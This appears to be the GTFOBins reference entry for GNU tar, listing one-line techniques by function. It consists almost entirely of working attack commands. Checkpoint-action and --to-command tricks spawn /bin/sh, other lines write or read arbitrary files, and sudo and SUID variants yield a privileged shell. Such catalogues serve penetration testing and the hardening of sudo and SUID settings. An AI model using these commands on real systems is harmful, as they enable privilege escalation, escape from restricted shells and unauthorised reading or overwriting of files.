GTFOBins.github.io/_gtfobins/tar.md
2018-10-21 12:13:17 +02:00

1.1 KiB

functions
shell file-write file-read sudo limited-suid
code
tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
description code
This only works for GNU tar. tar xf /dev/null -I '/bin/sh -c "sh <&2 1>&2"'
description code
This only works for GNU tar. It can be useful when only a limited command argument injection is available. TF=$(mktemp) echo '/bin/sh 0<&1' > "$TF" tar cf "$TF.tar" "$TF" tar xf "$TF.tar" --to-command sh rm "$TF"*
description code
This only works for GNU tar. LFILE=file_to_write TF=$(mktemp) echo DATA > "$TF" tar c --xform "s@.*@$LFILE@" -OP "$TF" | tar x -P
description code
This only works for GNU tar. LFILE=file_to_read tar xf "$LFILE" -I '/bin/sh -c "cat 1>&2"'
code
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
code
./tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh